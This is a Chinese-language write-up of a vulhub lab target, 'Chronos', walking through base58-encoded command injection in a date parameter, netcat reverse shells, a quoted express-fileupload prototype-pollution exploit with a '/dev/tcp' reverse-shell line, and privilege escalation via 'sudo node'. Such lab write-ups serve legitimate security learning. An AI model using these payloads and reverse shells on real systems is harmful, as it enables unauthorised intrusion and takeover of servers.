【打靶】vulhub打靶复现系列3---Chronos
【打靶】vulhub打靶复现系列3---Chronos
一、主机探测
结合之前的方法(arp探测、ping检测),因为我们的靶机和攻击机都在第二层,所以打靶时候我们更依赖arp协议



tips:我在运行期间发现,netdiscover窗口没关闭的前提下是可以一直检测的,也就是说在探活期间有新主机加入可以被立即识别到。
二、端口扫描
nmap -p- -sV -T4 192.168.56.104

ssh可以爆破(hydra)
http直接去访问(先看下80端口下的页面)
三、撕口子--功能点测试

发现页面没有什么东西,两种思路:
- 1、爬站
- 2、查看源码查询调用隐藏接口和调用脚本等
发现其源码中有调用一个脚本

发现进行了编码
通过cyberchef美化一下,地址CyberChef (gchq.github.io)

发现有内容进行过加密,虽说cyberchef可以解,但比这个更有意义的是其调用的脚本(未进行编码加密等)
四、尝试利用——查看源码

去改host文件,将192.168.56.104定向到chronos.local
注:chronos恰好是本靶场的主机名,host文件win的在C盘C:\Windows\System32\drivers\etc\hosts,kali在/etc/hosts

ping一下

配置成功
再次访问网页

发现多出下面这行uts时间
抓包观察发现是下面这个数据包的响应包

当我修改了format后的内容后无法正常回显,因此我需要知道后面的内容是什么编码(经验判断是base64,但不重要)
直接去cyberchef里的magic模块去撞就行

可以猜测出是base58编码
而此时观察请求包会发现很像是linux的data命令
![]()
'+Today is %A, %B %d, %Y %H:%M:%S.'
六、验证猜想——配合终端进行验证
尝试在kali上验证猜想

确认了猜想和其运行是一致的
这里是调用了系统指令进行回显的.
因此!!!思路就有了:是否可以去尝试其他的指令来对系统进行攻击呢?
那我执行指令的前提就是原有的指令正常执行的情况下附带或追加个指令进去
方法有
; | || && 这里需要说明双管道符的运行原则是前面的指令错误时候运行后面的指令;双&&符号恰好相反(前面为真才能执行下一个指令)
因此可以尝试在前面输入准确的情况下执行后面的指令,即用&&尝试,需要注意的是需要进行base58编码才行


成功验证了猜想
七、进一步利用--尝试nc反弹
先去查找有无nc


存在nc,下一步反弹shell


返回包看着貌似不成功但攻击机却接受到了反弹过来的监听

八、nc利用——判断有无-e参数
直接指令判断可以执行就说明有-e参数
在nc命令中,-e参数用于指定要在连接建立后执行的命令。它允许用户在建立网络连接后,将输入和输出重定向到指定的命令,从而实现远程执行命令的功能。
使用-e参数的语法如下:
nc -e
其中,<command>是要执行的命令,<host>是目标主机的IP地址或域名,<port>是目标主机的端口号。
使用-e参数时,nc命令会在连接建立后立即执行指定的命令,并将连接的输入和输出重定向到该命令。这使得用户可以在远程主机上执行命令,并与其交互,就像在本地终端上一样。
输入指令
nc 192.168.56.103 4444 -e /bin/bash
对其进行编码并执行(注意,这里在kali机上需要重新启动监听)

发现没有回连,采用之前的nc串联来代替-e参数反弹shell
九、精化&骚操作——nc串联获取shell
nc 192.168.56.103 4444 | /bin/bash | nc 192.168.56.103 5555
这里注意:尽量前后都加个空格吧

十、主机信息收集

发现user.txt这个文件需要提权
十一、(常规)提权
# linux提权方法 ## 方法一、利用内核漏洞:先name -a查看内核版本,再去查询该版本漏洞进行攻击 ## 方法二、suid权限配置错误导致提权,suid命令查看超管用户 ## 方法三、利用sudo命令,有些用户可以使用sudo命令进而达到提权的目的但很不幸,这些提权手段都不适用
十二、代码审计
跳到目录下

发现是js写的服务端,这种情况少见(据说少见)
nodejs是基于JavaScript的已有的框架和库,通过了解socket、express等库经常用来开发web
开始审计package.json
发现各个封装好的包/库

审计app.js
这是重定向的url等

base58解码,拼接到cmd的代码

判断agent的字段内容

在agent是chronos时候是正常回显,其他情况返回禁止,有了这段内容的解读之后去尝试一波

成功验证代审的分析结果
其中当agent==chronos时候进一步的判断(下一个if语句)表示

也对应上了之前nc返连的时候的返回包内容,注意这里只是返回这么个内容但却没有阻断这些指令
翻阅过后没有什么显著的利用点,继续深挖
十三、代码审计深挖——找利用点撕口子


发现了未扫出来的8080端口,但这个端口只对8080开放,因此我nmap没扫出来
看来只能指望调用的模块内(express和express-fileupload)存在漏洞了

发现存在漏洞,赶紧索一眼,但这里没给到源码和poc之类的信息,通过科学上网访问到
Access denied | www.bleepingcomputer.com used Cloudflare to restrict access

通过下面的参考链接来到:p6.is(现在让网页篡改了)

意思是想要利用这个漏洞就必须开启processNested的方法,好在我们的环境中恰好是开着的

通过上面的文章找到可利用的简化exp
import requestscmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})# execute command
requests.get('http://p6.is:7777')
只需要将这段代码中的部分进行替换,替换规则如下如下
p6.is/8888 替换为 kali攻击机的ip/监听端口 p6.is:7777 替换为 目标ip:目标web应用程序运行端口
将这段代码复制到kali中,替换内容后编写为py文件,修改后的内容如下;
import requestscmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/8888 0>&1"'# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})# execute command
requests.get('http://127.0.0.1:8080')
写好文件之后kali攻击机开启web服务
python3 -m http.server 80
通过反弹shell将目录移动到/tmp下(因为一般来讲tmp好写入文件)
成功上传exp.py

下一步运行就行
十四、getshell——获取第一个flag

但是获取的仅仅是上面的imara的shell
去看下那个txt能不能看

成功!获取到一个flag了
十五、乘胜追击——获取root用户下的flag
根据靶机描述,root下是有一个flag的,但是我们现在已有的权限不足以去访问

十六、提权——利用sudo下可调用的node
还是之前说的三种方法先试一下,发现可以sudo

意思是不需要输入密码的前提下执行npm和node指令
sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'
这段代码是通过node指令提权的代码(网上找的)
意思是通过调用node--》生成子进程---》调用root权限的shell

提权成功

打靶总结

相关文章:
【打靶】vulhub打靶复现系列3---Chronos
【打靶】vulhub打靶复现系列3---Chronos 一、主机探测 结合之前的方法(arp探测、ping检测),因为我们的靶机和攻击机都在第二层,所以打靶时候我们更依赖arp协议 tips:我在运行期间发现,netdiscover窗口没关…...
基于Java的新闻发布管理系统设计与实现(源码+lw+部署文档+讲解等)
文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序(小蔡coding) 代码参考数据库参考源码获取 前言 💗博主介绍:✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&am…...
CRM系统如何选型?
不少企业都想要使用CRM客户管理系统,但往往在CRM选型阶段就被折腾的五迷三道。CRM系统选型难在哪里?下面我们从企业用户和CRM厂商两方面进行分析,来说说关于CRM系统选型的那些事。 企业自身原因: 1、认知偏差 看到一个观点&…...
山东大学开发可解释深度学习算法 RetroExplainer,4 步识别有机物的逆合成路线
逆合成旨在找到一系列合适的反应物,以高效合成目标产物。这是解决有机合成路线的重要方法,也是有机合成路线设计的最简单、最基本的方法。 早期的逆合成研究多依赖编程,随后这一工作被 AI 接替。然而,现有的逆合成方法多关注单步逆…...
使用antv x6注册vue组件报错,TypeError: Object(...) is not a function (teleport.js:3:23)
typeError: Object(…) is not a function at …/…/…/node_modules/.pnpm/antvx6-vue-shape2.1.1_antvx62.15.2vue2.7.10/node_modules/antv/x6-vue-shape/es/teleport.js (teleport.js:3:23) 点击定位到报错的位置为 reactive应该是vue 2.7.*版本才有的 由于项目在index.ht…...
Python开发利器KeymouseGo,开源的就是香
1、介绍 在日常工作中,经常会遇到一些重复性的工作,不管是点击某个按钮、写文字,打印,还是复制粘贴拷贝资料之类的,需要进行大量的重复操作。按键精灵大家想必都听说过,传统的方式,可以下载个按…...
什么是 Node.js
目标 什么是 Node.js,有什么用,为何能独立执行 JS 代码,演示安装和执行 JS 文件内代码 讲解 Node.js 是一个独立的 JavaScript 运行环境,能独立执行 JS 代码,因为这个特点,它可以用来编写服务器后端的应用…...
08-flex布局
flex布局 1.定位布局- 定位流分类1.1.静态定位1.2.相对定位1.3.绝对定位1.4.固定定位1.5.粘滞定位1.6.z-index - 1.1.静态定位( Static positioning)- 1.2.什么是相对定位?( Relative positioning )- 相对定位注意点- 相对定位应…...
HTML5和HTML的区别
HTML5的概念分为广义和狭义两种。 狭义的概念HTML5是指HTML语言的第5个版本,而HTML是指5之前的版本。 广义的概念HTML5是指由HTML5、CSS3、JavaScript所组成的开发环境。而HTML是指HTML语言本身。 1、HTML5与HTML狭…...
【Amazon】跨AWS账号级别迁移弹性IP地址操作流程
文章目录 一、实验背景二、适用场景三、实验目标四、实验说明五、实验步骤1. 登录AWS控制台[源账户]2. 启用弹性 IP 地址转移[源账户]3. 接受转移的弹性 IP 地址[目标账户]4. <可选>禁止转移弹性IP地址[源账户] 六、结果验证七、注意事项八、附录1. 多弹性IP地址多AWS账号…...
2023-python pdf转换为PPT代码
from pdf2image import convert_from_path from pptx import Presentation from pptx.util import Inches import os# 用户输入PDF文件路径 pdf_file_path input("请输入PDF文件的路径:")# 提取文件名(不包括扩展名)作为PPT文件名…...
学会场景提问,让AI“小助手”为我所用
文章目录 一、故事叙述提问举例 二、产品描述提问举例 三、报告撰写提问举例 四、邮件和信件撰写提问举例 五、新间稿和公告撰写提问举例 六、学术论文和专业文章撰写提问举例 我们知道AI技术不仅能够自动生成文章和内容,还可以根据我们的需求提供创意灵感和解决问题…...
前端,CSS,背景颜色跟随轮播图片改变而改变(附源码)
首先看效果! 比如轮播图时红色,那么背景的底色也是红色,轮播图时黄色,背景的底色也是黄色,这就是根据轮播图的图片切换,而改变背景颜色随轮播图颜色一致 话不多说,直接上代码!非常简…...
对文件夹内的所有图像进行随机调整对比度和应用高斯滤波
import os import random from PIL import Image, ImageEnhance, ImageFilter# 输入和输出文件夹路径 input_folder rE:\深度学习数据集 output_folder rE:\深度学习数据集\对比度、高斯滤波# 确保输出文件夹存在,如果不存在则创建 if not os.path.exists(output_…...
ios上架上传构建版本的windows工具
ios上架的必要步骤,是将打包好的二进制ipa文件,上传到app store的构建版本里,苹果并没有提供上传构建版本的工具,这里我介绍下windows下上传构建版本的方案。 下面说下上传的基本步骤: 第一步,上传前要先…...
arcgis js api 4.x加载geoserver发布的地方坐标系(自定义坐标系)的wms服务
问题描述:之前研究过arcgis js api 4.x加载arcgis server 发布的地方坐标系的wms服务,后来研究出来能正常加载了,想了解的可以看我之前的博客。但是一直困于加载geoserver发布的地方坐标系的wms服务,一直都是用的WMSLayer这个调用…...
人工智能的发展方向:探索智能未来的无限可能
原创 | 文 BFT机器人 人工智能,简称AI,是一门专注于研究计算机如何能像人类一样思考、学习和解决问题的科学。它的创造初衷是构建一个智能系统,能模仿、模拟甚至实现人工智能的各种功能和行为,随着科技的持续进步,人工…...
【23秋软工第7周作业】项目选题
一、如何提出靠谱的项目建议,参见邹欣老师的博客:http://www.cnblogs.com/xinz/archive/2010/12/01/1893323.html 二、选题来源指导: 有创意和独创性的小项目 跟智能数据处理相关 候选题目可以参见课程主页 三、具体汇报任务: …...
谷歌云的利润增长才刚刚开始
来源:猛兽财经 作者:猛兽财经 总结: (1)自从Google Cloud(谷歌云)今年开始盈利以来,投资者都在怀疑这种盈利能力能否持续下去。 (2)虽然微软Azure目前在全球的人工智能竞…...
【Golang】简记操作:Centos安装、卸载、升级Golang运行环境
目录 安装 1、根据实际需求选择合适的golang版本 如下图,选择合适的版本,右键复制链接 2、在Centos选择合适的目录下载golang的源文件 3、解压golang的源文件,解压完成即可执行go命令 4、设置golang的全局环境变量(/etc/pr…...
2.Vue编写一个app
1.src中重要的组成 1.1main.ts // 引入createApp用于创建应用 import { createApp } from "vue"; // 引用App根组件 import App from ./App.vue;createApp(App).mount(#app)1.2 App.vue 其中要写三种标签 <template> <!--html--> </template>…...
工程地质软件市场:发展现状、趋势与策略建议
一、引言 在工程建设领域,准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具,正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...
QT: `long long` 类型转换为 `QString` 2025.6.5
在 Qt 中,将 long long 类型转换为 QString 可以通过以下两种常用方法实现: 方法 1:使用 QString::number() 直接调用 QString 的静态方法 number(),将数值转换为字符串: long long value 1234567890123456789LL; …...
Pinocchio 库详解及其在足式机器人上的应用
Pinocchio 库详解及其在足式机器人上的应用 Pinocchio (Pinocchio is not only a nose) 是一个开源的 C 库,专门用于快速计算机器人模型的正向运动学、逆向运动学、雅可比矩阵、动力学和动力学导数。它主要关注效率和准确性,并提供了一个通用的框架&…...
HTML前端开发:JavaScript 获取元素方法详解
作为前端开发者,高效获取 DOM 元素是必备技能。以下是 JS 中核心的获取元素方法,分为两大系列: 一、getElementBy... 系列 传统方法,直接通过 DOM 接口访问,返回动态集合(元素变化会实时更新)。…...
Elastic 获得 AWS 教育 ISV 合作伙伴资质,进一步增强教育解决方案产品组合
作者:来自 Elastic Udayasimha Theepireddy (Uday), Brian Bergholm, Marianna Jonsdottir 通过搜索 AI 和云创新推动教育领域的数字化转型。 我们非常高兴地宣布,Elastic 已获得 AWS 教育 ISV 合作伙伴资质。这一重要认证表明,Elastic 作为 …...
《信号与系统》第 6 章 信号与系统的时域和频域特性
目录 6.0 引言 6.1 傅里叶变换的模和相位表示 6.2 线性时不变系统频率响应的模和相位表示 6.2.1 线性与非线性相位 6.2.2 群时延 6.2.3 对数模和相位图 6.3 理想频率选择性滤波器的时域特性 6.4 非理想滤波器的时域和频域特性讨论 6.5 一阶与二阶连续时间系统 6.5.1 …...
JavaScript 标签加载
目录 JavaScript 标签加载script 标签的 async 和 defer 属性,分别代表什么,有什么区别1. 普通 script 标签2. async 属性3. defer 属性4. type"module"5. 各种加载方式的对比6. 使用建议 JavaScript 标签加载 script 标签的 async 和 defer …...
【threejs】每天一个小案例讲解:创建基本的3D场景
代码仓 GitHub - TiffanyHoo/three_practices: Learning three.js together! 可自行clone,无需安装依赖,直接liver-server运行/直接打开chapter01中的html文件 运行效果图 知识要点 核心三要素 场景(Scene) 使用 THREE.Scene(…...
持续交付的进化:从DevOps到AI驱动的IT新动能
文章目录 一、持续交付的本质:从手动到自动的交付飞跃关键特性案例:电商平台的高效部署 二、持续交付的演进:从CI到AI驱动的未来发展历程 中国…...
